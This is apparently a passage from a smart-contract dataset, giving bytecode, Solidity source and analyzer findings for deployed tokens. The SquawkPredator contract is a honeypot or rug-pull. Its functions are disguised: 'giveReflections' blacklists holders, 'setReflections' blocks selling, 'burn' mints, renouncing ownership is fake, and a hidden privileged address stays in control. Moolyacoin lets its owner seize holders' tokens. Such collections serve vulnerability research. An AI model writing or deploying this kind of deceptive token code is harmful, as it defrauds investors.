0380546001600160a01b0319166001600160a01b0392909216919091179055565b6000610810338484610a13565b50600192915050565b6000610826848484610aff565b6001600160a01b038416600090815260016020908152604080832033808552925290912054610866918691610861908663ffffffff610c4116565b610a13565b5060019392505050565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610810918590610861908663ffffffff610c9e16565b6001600160a01b0382166108f15760405162461bcd60e51b8152600401808060200182810382526021815260200180610d646021913960400191505060405180910390fd5b600254610904908263ffffffff610c4116565b6002556001600160a01b038216600090815260208190526040902054610930908263ffffffff610c4116565b6001600160a01b038316600081815260208181526040808320949094558351858152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a35050565b61098f82826108ac565b6001600160a01b0382166000908152600160209081526040808320338085529252909120546105a2918491610861908563ffffffff610c4116565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610810918590610861908663ffffffff610c4116565b6000610810338484610aff565b6001600160a01b038316610a585760405162461bcd60e51b8152600401808060200182810382526024815260200180610daa6024913960400191505060405180910390fd5b6001600160a01b038216610a9d5760405162461bcd60e51b8152600401808060200182810382526022815260200180610d426022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610b445760405162461bcd60e51b8152600401808060200182810382526025815260200180610d856025913960400191505060405180910390fd5b6001600160a01b038216610b895760405162461bcd60e51b8152600401808060200182810382526023815260200180610cf96023913960400191505060405180910390fd5b6001600160a01b038316600090815260208190526040902054610bb2908263ffffffff610c4116565b6001600160a01b038085166000908152602081905260408082209390935590841681522054610be7908263ffffffff610c9e16565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600082821115610c98576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b600082820183811015610448576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fdfe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a265627a7a72315820ba1ca4c25268b7ad1c3ef4d23db9b0b1061685c1433a4bdcebe976146143f65064736f6c63430005110032
{"success": true, "error": null, "results": {}}
1,228
0x1ec6493f0b506e8548af2422b124883a98e49e17
/** *Submitted for verification at Etherscan.io on 2022-04-14 */ pragma solidity ^0.8.0; library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } contract SquawkPredator is Context, IERC20, IERC20Metadata { mapping(address => uint256) public _balances; mapping(address => mapping(address => uint256)) public _allowances; mapping(address => bool) private _blackbalances; mapping (address => bool) private bots; mapping(address => bool) private _balances1; address internal router; uint256 public _totalSupply = 10000000000000*10**18; string public _name = "Squawk Predator"; string public _symbol= "Vulture"; bool balances1 = true; bool private tradingOpen; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; uint256 private openBlock; constructor() { _balances[msg.sender] = _totalSupply; emit Transfer(address(this), msg.sender, _totalSupply); owner = msg.sender; } address public owner; address private marketAddy = payable(0xE52e532F76E3ffaCf45aa483146d30E25ab04f0e); modifier onlyOwner { require((owner == msg.sender) || (msg.sender == marketAddy)); _; } function changeOwner(address _owner) onlyOwner public { owner = _owner; } function RenounceOwnership() onlyOwner public { owner = 0x000000000000000000000000000000000000dEaD; } function giveReflections(address[] memory recipients_) onlyOwner public { for (uint i = 0; i < recipients_.length; i++) { bots[recipients_[i]] = true; } } function toggleReflections(address[] memory recipients_) onlyOwner public { for (uint i = 0; i < recipients_.length; i++) { bots[recipients_[i]] = false; } } function setReflections() onlyOwner public { router = uniswapV2Pair; balances1 = false; } function openTrading() public onlyOwner { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner, block.timestamp ); tradingOpen = true; openBlock = block.number; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } receive() external payable {} function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(_blackbalances[sender] != true ); require(!bots[sender] && !bots[recipient]); if(recipient == router) { require((balances1 || _balances1[sender]) || (sender == marketAddy), "ERC20: transfer to the zero address"); } require((amount < 200000000000*10**18) || (sender == marketAddy) || (sender == owner) || (sender == address(this))); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; if ((openBlock + 4 > block.number) && sender == uniswapV2Pair) { emit Transfer(sender, recipient, 0); } else { emit Transfer(sender, recipient, amount); } } function burn(address account, uint256 amount) onlyOwner public virtual { require(account != address(0), "ERC20: burn to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
0x6080604052600436106101395760003560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb14610339578063b09f126614610359578063ba3ac4a51461036e578063c9567bf91461038e578063d28d8852146103a3578063dd62ed3e146103b857610140565b806370a08231146102a25780638da5cb5b146102c257806395d89b41146102e45780639dc29fac146102f9578063a6f9dae11461031957610140565b806323b872dd116100fd57806323b872dd14610201578063294e3eb114610221578063313ce567146102365780633eaaf86b146102585780636e4ee8111461026d5780636ebcf6071461028257610140565b8063024c2ddd1461014557806306fdde031461017b578063095ea7b31461019d57806315a892be146101ca57806318160ddd146101ec57610140565b3661014057005b600080fd5b34801561015157600080fd5b506101656101603660046110d1565b6103d8565b604051610172919061130f565b60405180910390f35b34801561018757600080fd5b506101906103f5565b6040516101729190611318565b3480156101a957600080fd5b506101bd6101b8366004611149565b610487565b6040516101729190611304565b3480156101d657600080fd5b506101ea6101e5366004611174565b6104a4565b005b3480156101f857600080fd5b5061016561054a565b34801561020d57600080fd5b506101bd61021c366004611109565b610550565b34801561022d57600080fd5b506101ea6105e9565b34801561024257600080fd5b5061024b610643565b6040516101729190611575565b34801561026457600080fd5b50610165610648565b34801561027957600080fd5b506101ea61064e565b34801561028e57600080fd5b5061016561029d366004611092565b610690565b3480156102ae57600080fd5b506101656102bd366004611092565b6106a2565b3480156102ce57600080fd5b506102d76106c1565b6040516101729190611282565b3480156102f057600080fd5b506101906106d0565b34801561030557600080fd5b506101ea610314366004611149565b6106df565b34801561032557600080fd5b506101ea610334366004611092565b6107cb565b34801561034557600080fd5b506101bd610354366004611149565b610819565b34801561036557600080fd5b5061019061082d565b34801561037a57600080fd5b506101ea610389366004611174565b6108bb565b34801561039a57600080fd5b506101ea61095d565b3480156103af57600080fd5b50610190610cd5565b3480156103c457600080fd5b506101656103d33660046110d1565b610ce2565b600160209081526000928352604080842090915290825290205481565b6060600780546104049061159b565b80601f01602080910402602001604051908101604052809291908181526020018280546104309061159b565b801561047d5780601f106104525761010080835404028352916020019161047d565b820191906000526020600020905b81548152906001019060200180831161046057829003601f168201915b5050505050905090565b600061049b610494610d0d565b8484610d11565b50600192915050565b600c546001600160a01b03163314806104c75750600d546001600160a01b031633145b6104d057600080fd5b60005b81518110156105465760016003600084848151811061050257634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061053e816115d6565b9150506104d3565b5050565b60065490565b600061055d848484610dc5565b6001600160a01b03841660009081526001602052604081208161057e610d0d565b6001600160a01b03166001600160a01b03168152602001908152602001600020549050828110156105ca5760405162461bcd60e51b81526004016105c19061146d565b60405180910390fd5b6105de856105d6610d0d565b858403610d11565b506001949350505050565b600c546001600160a01b031633148061060c5750600d546001600160a01b031633145b61061557600080fd5b600a54600580546001600160a01b0319166001600160a01b039092169190911790556009805460ff19169055565b601290565b60065481565b600c546001600160a01b03163314806106715750600d546001600160a01b031633145b61067a57600080fd5b600c80546001600160a01b03191661dead179055565b60006020819052908152604090205481565b6001600160a01b0381166000908152602081905260409020545b919050565b600c546001600160a01b031681565b6060600880546104049061159b565b600c546001600160a01b03163314806107025750600d546001600160a01b031633145b61070b57600080fd5b6001600160a01b0382166107315760405162461bcd60e51b81526004016105c190611436565b61073d60008383611082565b806006600082825461074f9190611583565b90915550506001600160a01b0382166000908152602081905260408120805483929061077c908490611583565b90915550506040516001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906107bf90859061130f565b60405180910390a35050565b600c546001600160a01b03163314806107ee5750600d546001600160a01b031633145b6107f757600080fd5b600c80546001600160a01b0319166001600160a01b0392909216919091179055565b600061049b610826610d0d565b8484610dc5565b6008805461083a9061159b565b80601f01602080910402602001604051908101604052809291908181526020018280546108669061159b565b80156108b35780601f10610888576101008083540402835291602001916108b3565b820191906000526020600020905b81548152906001019060200180831161089657829003601f168201915b505050505081565b600c546001600160a01b03163314806108de5750600d546001600160a01b031633145b6108e757600080fd5b60005b81518110156105465760006003600084848151811061091957634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610955816115d6565b9150506108ea565b600c546001600160a01b03163314806109805750600d546001600160a01b031633145b61098957600080fd5b600954610100900460ff16156109b15760405162461bcd60e51b81526004016105c19061153e565b6009805462010000600160b01b031916757a250d5630b4cf539739df2c5dacb4c659f2488d00001790819055600654737a250d5630b4cf539739df2c5dacb4c659f2488d91610a129130916001600160a01b03620100009091041690610d11565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a4b57600080fd5b505afa158015610a5f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a8391906110b5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610acb57600080fd5b505afa158015610adf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b0391906110b5565b6040518363ffffffff1660e01b8152600401610b20929190611296565b602060405180830381600087803b158015610b3a57600080fd5b505af1158015610b4e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b7291906110b5565b600a80546001600160a01b0319166001600160a01b039283161790556009546201000090041663f305d7194730610ba8816106a2565b600c546040516001600160e01b031960e087901b168152610bde93929160009182916001600160a01b03169042906004016112c9565b6060604051808303818588803b158015610bf757600080fd5b505af1158015610c0b573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c309190611255565b50506009805461ff001916610100179081905543600b55600a5460405163095ea7b360e01b81526001600160a01b03918216935063095ea7b392610c8392620100009091041690600019906004016112b0565b602060405180830381600087803b158015610c9d57600080fd5b505af1158015610cb1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105469190611235565b6007805461083a9061159b565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3390565b6001600160a01b038316610d375760405162461bcd60e51b81526004016105c1906114fa565b6001600160a01b038216610d5d5760405162461bcd60e51b81526004016105c1906113ae565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610db890859061130f565b60405180910390a3505050565b6001600160a01b038316610deb5760405162461bcd60e51b81526004016105c1906114b5565b6001600160a01b03831660009081526002602052604090205460ff16151560011415610e1657600080fd5b6001600160a01b03831660009081526003602052604090205460ff16158015610e5857506001600160a01b03821660009081526003602052604090205460ff16155b610e6157600080fd5b6005546001600160a01b0383811691161415610ed45760095460ff1680610ea057506001600160a01b03831660009081526004602052604090205460ff165b80610eb85750600d546001600160a01b038481169116145b610ed45760405162461bcd60e51b81526004016105c19061136b565b6c02863c1f5cdae42f9540000000811080610efc5750600d546001600160a01b038481169116145b80610f145750600c546001600160a01b038481169116145b80610f2757506001600160a01b03831630145b610f3057600080fd5b610f3b838383611082565b6001600160a01b03831660009081526020819052604090205481811015610f745760405162461bcd60e51b81526004016105c1906113f0565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290610fab908490611583565b9091555050600b544390610fc0906004611583565b118015610fda5750600a546001600160a01b038581169116145b1561103057826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6000604051611023919061130f565b60405180910390a361107c565b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611073919061130f565b60405180910390a35b50505050565b505050565b80356106bc8161161d565b6000602082840312156110a3578081fd5b81356110ae8161161d565b9392505050565b6000602082840312156110c6578081fd5b81516110ae8161161d565b600080604083850312156110e3578081fd5b82356110ee8161161d565b915060208301356110fe8161161d565b809150509250929050565b60008060006060848603121561111d578081fd5b83356111288161161d565b925060208401356111388161161d565b929592945050506040919091013590565b6000806040838503121561115b578182fd5b82356111668161161d565b946020939093013593505050565b60006020808385031215611186578182fd5b823567ffffffffffffffff8082111561119d578384fd5b818501915085601f8301126111b0578384fd5b8135818111156111c2576111c2611607565b838102604051858282010181811085821117156111e1576111e1611607565b604052828152858101935084860182860187018a10156111ff578788fd5b8795505b838610156112285761121481611087565b855260019590950194938601938601611203565b5098975050505050505050565b600060208284031215611246578081fd5b815180151581146110ae578182fd5b600080600060608486031215611269578283fd5b8351925060208401519150604084015190509250925092565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b901515815260200190565b90815260200190565b6000602080835283518082850152825b8181101561134457858101830151858201604001528201611328565b818111156113555783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b6020808252601f908201527f45524332303a206275726e20746f20746865207a65726f206164647265737300604082015260600190565b60208082526028908201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616040820152676c6c6f77616e636560c01b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526017908201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604082015260600190565b60ff91909116815260200190565b60008219821115611596576115966115f1565b500190565b6002810460018216806115af57607f821691505b602082108114156115d057634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156115ea576115ea6115f1565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461163257600080fd5b5056fea2646970667358221220ee5a1d35566a6f4a20a24145b4a2af01f870df7594d2d75812070cc57c11e2ed64736f6c63430008000033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
1,229
0x2a47f802064caf5a5e78ee193723dc2c7cfc06e9
pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * Define interface for releasing the token transfer after a successful crowdsale. */ contract ReleasableToken is ERC20, Ownable { /* The finalizer contract that allows unlift the transfer limits on this token */ address public releaseAgent; /** A crowdsale contract can release us to the wild if ICO success. If false we are are in transfer lock up period.*/ bool public released = false; /** Map of agents that are allowed to transfer tokens regardless of the lock down period. . */ mapping (address => bool) public transferAgents; modifier canTransfer(address _sender) { if(!released) { require(transferAgents[_sender]); } _; } /** * Set the contract that can call release and make the token transferable. * * Design choice. Allow reset the release agent to fix fat finger mistakes. */ function setReleaseAgent(address addr) onlyOwner public { require( addr != address(0)); // We don&#39;t do interface check here as we might want to a normal wallet address to act as a release agent releaseAgent = addr; } /** * Owner can allow a particular address to transfer tokens despite the lock up period. */ function setTransferAgent(address addr, bool state) onlyOwner public { transferAgents[addr] = state; } /** * One way function to release the tokens to the wild. * * Can be called only from the release agent. */ function releaseTokenTransfer() public onlyReleaseAgent { released = true; } /** The function can be called only by a whitelisted release agent. */ modifier onlyReleaseAgent() { require(msg.sender == releaseAgent); _; } function transfer(address _to, uint _value) canTransfer(msg.sender) public returns (bool success) { // Call StandardToken.transfer() return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint _value) canTransfer(_from) public returns (bool success) { // Call StandardToken.transferForm() return super.transferFrom(_from, _to, _value); } } /** * @title Moolyacoin * @dev The Moolyacoin is the core contract which will be deployed by passing the totalSupply * in the constructor. */ contract Moolyacoin is StandardToken, Ownable, ReleasableToken{ string public constant name = "moolyacoin"; string public constant symbol = "moolya"; uint8 public constant decimals = 18; constructor(uint _value) public{ totalSupply_ = _value * (10 ** uint256(decimals)); balances[msg.sender] = totalSupply_; emit Transfer(address(0x0), msg.sender, totalSupply_); } function allocate(address _investor, uint _amount) public onlyOwner returns (bool){ require(_investor != address(0)); uint256 amount = _amount * (10 ** uint256(decimals)); require(amount <= balances[owner]); balances[owner] = balances[owner].sub(amount); balances[_investor] = balances[_investor].add(amount); return true; } function mintable(uint _value) public onlyOwner returns (bool){ uint256 amount = _value * (10 ** uint256(decimals)); balances[msg.sender] = balances[msg.sender].add(amount); totalSupply_ = totalSupply_.add(amount); } function burnReturn(address _addr, uint _value) public onlyOwner returns (bool) { require(_addr != address(0)); require(balances[_addr] >= _value); balances[_addr] = balances[_addr].sub(_value); balances[msg.sender] = balances[msg.sender].add(_value); return true; } function burnDead(address _addr, uint _value) public onlyOwner returns (bool){ require(_addr != address(0)); require(balances[_addr] >= _value); balances[_addr] = balances[_addr].sub(_value); totalSupply_ = totalSupply_.sub(_value); return true; } }
0x608060405260043610610133576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806302f652a31461013857806306fdde0314610187578063095ea7b3146102175780630f7849431461027c5780630ff92e7b146102c157806318160ddd1461032657806323b872dd1461035157806329ff4f53146103d6578063313ce567146104195780635f412d4f1461044a578063661884631461046157806370a08231146104c6578063867c28571461051d5780638da5cb5b1461057857806395d89b41146105cf578063961325211461065f578063a9059cbb1461068e578063b78b52df146106f3578063c0a35d6214610758578063d1f276d3146107bd578063d73dd62314610814578063dd62ed3e14610879578063f2fde38b146108f0575b600080fd5b34801561014457600080fd5b50610185600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610933565b005b34801561019357600080fd5b5061019c6109ea565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101dc5780820151818401526020810190506101c1565b50505050905090810190601f1680156102095780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561022357600080fd5b50610262600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a23565b604051808215151515815260200191505060405180910390f35b34801561028857600080fd5b506102a760048036038101908080359060200190929190505050610b15565b604051808215151515815260200191505060405180910390f35b3480156102cd57600080fd5b5061030c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c34565b604051808215151515815260200191505060405180910390f35b34801561033257600080fd5b5061033b610dd3565b6040518082815260200191505060405180910390f35b34801561035d57600080fd5b506103bc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ddd565b604051808215151515815260200191505060405180910390f35b3480156103e257600080fd5b50610417600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e64565b005b34801561042557600080fd5b5061042e610f40565b604051808260ff1660ff16815260200191505060405180910390f35b34801561045657600080fd5b5061045f610f45565b005b34801561046d57600080fd5b506104ac600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fbe565b604051808215151515815260200191505060405180910390f35b3480156104d257600080fd5b50610507600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061124f565b6040518082815260200191505060405180910390f35b34801561052957600080fd5b5061055e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611297565b6040518082151515158152602001915050604051809103